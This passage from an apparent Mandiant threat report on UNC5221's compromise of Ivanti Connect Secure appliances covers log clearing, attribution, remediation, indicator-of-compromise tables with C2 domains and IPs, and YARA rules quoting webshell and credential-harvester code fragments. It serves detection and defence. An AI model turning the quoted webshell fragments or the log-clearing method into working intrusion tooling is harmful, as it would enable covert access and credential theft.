style="vertical-align:baseline">SYS32088</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A built-in integrity scan has been completed.</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 3: Integrity checker tool event IDs</span></em></span></p> <h4>System Log Clearing</h4> <p>In some instances, the threat actor used a legitimate system utility, <code>/home/bin/logClear.pl</code> to clear system logs. The clearing of system logs via this method generates event ID <code>ADM20599</code> in the admin event log for each log type cleared. There are six (6) system logs available on an Ivanti Connect Secure appliance.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse;margin-left:auto;margin-right:auto"><colgroup><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Log Name</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">File Path</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">events</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.events.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">admin</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.admin.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">access</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.access.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">diagnosticlog</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.diagnosticlog.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">policytrace</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.policytrace.vc0</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">sensorslog</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">/runtime/logs/log.sensorslog.vc0</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 4: System log descriptions</span></em></span></p> <p>Mandiant recommends hunting for event ID <code>ADM20599</code> in the events log (<code>log.events.vc0</code>) for evidence of log clearing.</p> <h2>Attribution</h2> <p>Mandiant assesses with moderate confidence that UNC5221 is a China-nexus espionage threat actor. Mandiant has observed UNC5221 targeting a wide range of verticals of strategic interest to the People's Republic of China (PRC) both pre and post disclosure, and early indications show that tooling and infrastructure overlap with past intrusions attributed to suspected China-based espionage actors. Additionally, Linux-based tools identified in incident response investigations use code from multiple Chinese-language Github repositories. As noted in our previous blog post, UNC5221 has largely leveraged TTPs associated with zero-day exploitation of edge infrastructure by suspected PRC nexus actors.</p> <h2>Recommendations</h2> <h3>Patch Availability</h3> <p>Ivanti is releasing the first round of patches for specific versions of Ivanti Connect Secure starting on Jan. 31, 2024. The remaining patches will be released on a staggered schedule for three different products that span multiple branches and versions.</p> <h3>Installing the Mitigation </h3> <p>Affected customers should install the mitigation immediately if a patch is not yet available for their version. Installing the mitigation is intended to prevent future exploitation of the two vulnerabilities. It is not intended to remediate or otherwise contain an existing compromised device.</p> <p>On Jan. 20, 2024, Ivanti released <a href="https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US" rel="noopener" target="_blank"><u>details</u></a> related to a condition that would negatively impact the mitigation and render appliances in a vulnerable state. The condition impacts customers who push configurations to appliances using Ivanti Neurons for Secure Access (nSA) or Pulse One. Ivanti recommends customers to stop pushing configurations to appliances with the XML in place until patches are installed.</p> <h3>Integrity Checker Tool</h3> <p>Ivanti customers are still encouraged to first run and review their logs for historical hits by the internal Integrity Checker Tool (ICT). If the internal ICT comes back with no results, customers should then run the external ICT as it is more robust and resistant to tampering. Mandiant and Volexity have observed threat actors attempting to tamper with the internal (built-in) ICT to evade detection.</p> <p>Customers should share the ICT results with Ivanti for further analysis. Ivanti will make a determination if the appliance is compromised and recommend next steps.</p> <h3>Password Resets</h3> <p>In addition to resetting the password of any local user configured on the appliance, Mandiant advises that organizations affected by the WARPWIRE credential stealer reset passwords of any users who authenticated to the appliance during the period when the malware was active. We also recommend customers search EDR telemetry and firewall logs for traffic to the WARPWIRE credential harvester C2 addresses listed in the IOCs section.</p> <h3>Hardening Guide</h3> <p>We have released a guidance document, which contains <a href="https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf" rel="noopener" target="_blank">remediation and hardening recommendations</a> for suspected compromised Ivanti Connect Secure (CS) VPN appliances associated with the exploitation of CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893.</p> <h2>Acknowledgements</h2> <p>We would like to thank Ivanti for their continued partnership, support, and transparency following the exploitation of CVE-2023-46805 and CVE-2024-21887 by UNC5221. In addition, this work would not have been possible without the assistance from our team members across Mandiant Consulting, Intelligence, FLARE, and Google TAG.</p> <h2>Indicators of Compromise (IOCs)</h2> <h3>Host-Based Indicators (HBIs)</h3> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table><colgroup><col><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Filename</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">MD5</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">health.py</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">3045f5b3d355a9ab26ab6f44cc831a83</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">CHAINLINE web shell</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">compcheckresult.cgi</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">3d97f55a03ceb4f71671aa2ecf5b24e9</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">LIGHTWIRE web shell</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">2ec505088b942c234f39a37188e80d7a</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">8eb042da6ba683ef1bae460af103cc44</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">a739bd4c2b9f3679f43579711448786f</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">a81813f70151a022ea1065b7f4d6b5ab</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">d0c7a334a4d9dcd3c6335ae13bee59ea</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">lastauthserverused.js</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">e8489983d73ed30a4240a14b1f161254</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE credential harvester variant</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">category.py</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">465600cece80861497e8c1c86a07a23e</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">FRAMESTING web shell</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">logo.gif</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Configuration and cache dump or CAV web server log exfiltration</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">login.gif</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Configuration and cache dump</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">[a-fA-F0-9]{10}\.css</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Configuration and cache dump</span></p> </td> </tr> <tr> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">visits.py</code></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">N/A — varies</span></p> </td> <td style="vertical-align:middle;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WIREFIRE web shell</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <h3><span style="vertical-align:baseline">Network-Based Indicators (NBIs)</span></h3> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table><colgroup><col><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Network Indicator</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Type</strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">symantke[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">miltonhouse[.]nl</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">entraide-internationale[.]fr</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">api.d-n-s[.]name</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">cpanel.netbar[.]org</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">clickcom[.]click</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">clicko[.]click</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">duorhytm[.]fun</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">line-api[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">areekaweb[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">ehangmun[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">secure-cama[.]com</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Domain</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">146.0.228[.]66</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">159.65.130[.]146</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">8.137.112[.]245</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">91.92.254[.]14</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">WARPWIRE variant C2 server</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">186.179.39[.]235 </code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Mass exploitation activity</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">50.215.39[.]49</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Post-exploitation activity</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">45.61.136[.]14</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Post-exploitation activity</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><code style="vertical-align:baseline">173.220.106[.]166</code></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IPv4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Post-exploitation activity</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <h2>YARA Rules</h2> </div> </div> </div> </div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_Webshell_BUSHWALK_1 { meta: author = "Mandiant" description = "This rule detects BUSHWALK, a webshell written in Perl CGI that is embedded into a legitimate Pulse Secure file to enable file transfers" strings: $s1 = "SafariiOS" ascii $s2 = "command" ascii $s3 = "change" ascii $s4 = "update" ascii $s5 = "$data = RC4($key, $data);" ascii condition: filesize < 5KB and all of them }</code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_Webshell_CHAINLINE_1 { meta: author = "Mandiant" description = "This rule detects the CHAINLINE webshell, which receives RC4 encrypted commands and returns the execution result" md5 = "3045f5b3d355a9ab26ab6f44cc831a83" strings: $s1 = "crypt(command: str)" ascii $s2 = "tmp[i] = chr(ord(tmp[i])" ascii $s3 = "ord(RC4_KEY[i % len(RC4_KEY)])" ascii $s4 = "class Health(Resource)" ascii $s5 = "crypt(base64.b64decode(command.encode(" ascii $s6 = "base64.b64encode(crypt(result)" ascii $s7 = "{\"message\": 'ok', \"stats\": result}" ascii condition: filesize < 100KB and any of them } </code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_HUNTING_APT_Webshell_FRAMESTING_result { meta: author = "Mandiant" description = "Detects strings associated with FRAMESTING webshell" md5 = "465600cece80861497e8c1c86a07a23e" strings: $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode(data))), {'request':request,'cache'" $s2 = "result={'message':'','action':0}" condition: any of them }</code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_Webshell_LIGHTWIRE_4 { meta: author = "Mandiant" description = "Detects LIGHTWIRE based on the RC4 decoding and execution 1-liner." md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9" strings: $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\ (CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/ condition: filesize < 1MB and all of them } </code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>rule M_Hunting_CredTheft_WARPWIRE_strings { meta: author = "Mandiant" description = "Detects strings within WARPWIRE credential harvester" md5 = "b15f47e234b5d26fb2cc81fc6fd89775" strings: $header = "function SetLastRealm(sValue) {" // password fields $username = "document.frmLogin.username.value;" $password = "document.frmLogin.password.value;" // post version $btoa = "btoa(" $xhr_post = /xhr.open\(.POST.,( )?url,/ // get version $xhr_get = /xhr.open\(.GET.,( )?url,/ $xhr_send = "xhr.send(null);" condition: $header in (0..100) and $password in (@username[1]..@username[1]+100) and ((#btoa > 1 and $xhr_post) or ($xhr_send in (@xhr_get[1].. @xhr_get[1]+50))) }</code></pre></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h2>Mandiant Security Validation Actions</h2> <p>Organizations can validate their security controls using the following actions with <a href="https://cloud.google.com/security/products/threat-intelligence" rel="noopener" target="_blank"><u>Mandiant Security 